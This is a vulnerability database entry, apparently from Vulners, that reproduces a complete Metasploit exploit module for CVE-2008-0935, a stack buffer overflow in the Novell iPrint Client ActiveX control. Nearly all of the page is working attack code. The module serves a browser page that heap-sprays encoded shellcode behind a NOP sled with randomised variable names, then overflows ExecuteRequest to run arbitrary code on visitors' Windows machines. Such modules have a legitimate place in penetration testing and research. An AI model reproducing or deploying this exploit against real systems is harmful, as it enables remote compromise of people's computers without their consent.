Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow. Stack buffer overflow in Novell iPrint Client 4.26. When sending an overly long string to the ExecuteRequest() property of ienipp.ocx an attacker may be able to execute arbitrary code


                                                ##
# $Id: novelliprint_executerequest.rb 10429 2010-09-21 18:46:29Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in Novell iPrint Client 4.26. When
				sending an overly long string to the ExecuteRequest() property of ienipp.ocx
				an attacker may be able to execute arbitrary code.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10429 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2008-0935&#39; ],
					[ &#39;OSVDB&#39;, &#39;42063&#39;],
					[ &#39;BID&#39;, &#39;27939&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 1024,
					&#39;BadChars&#39;      =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7&#39;, { &#39;Ret&#39; =&#62; 0x0A0A0A0A } ]
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Feb 22 2008&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret     = Rex::Text.uri_encode([target.ret].pack(&#39;L&#39;))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|
			&#60;html&#62;
			&#60;object id=&#39;#{vname}&#39; classid=&#39;clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C&#39;&#62;&#60;/object&#62;
			&#60;script language=&#34;JavaScript&#34;&#62;
			var #{rand1} = unescape(&#39;#{shellcode}&#39;);
			var #{rand2} = unescape(&#39;#{nops}&#39;);
			var #{rand3} = 20;
			var #{rand4} = #{rand3} + #{rand1}.length;
			while (#{rand2}.length &#60; #{rand4}) #{rand2} += #{rand2};
			var #{rand5} = #{rand2}.substring(0,#{rand4});
			var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
			while (#{rand6}.length + #{rand4} &#60; 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
			var #{rand7} = new Array();
			for (#{var_i} = 0; #{var_i} &#60; 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
			var #{rand8} = &#34;&#34;
			for (#{var_i} = 0; #{var_i} &#60; 8500; #{var_i}++) { #{rand8} = #{rand8} + unescape(&#39;#{ret}&#39;) }
			#{vname}.ExecuteRequest(#{rand8}, #{vname});
			&#60;/script&#62;
			&#60;/html&#62;
			|

		content = Rex::Text.randomize_space(content)

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1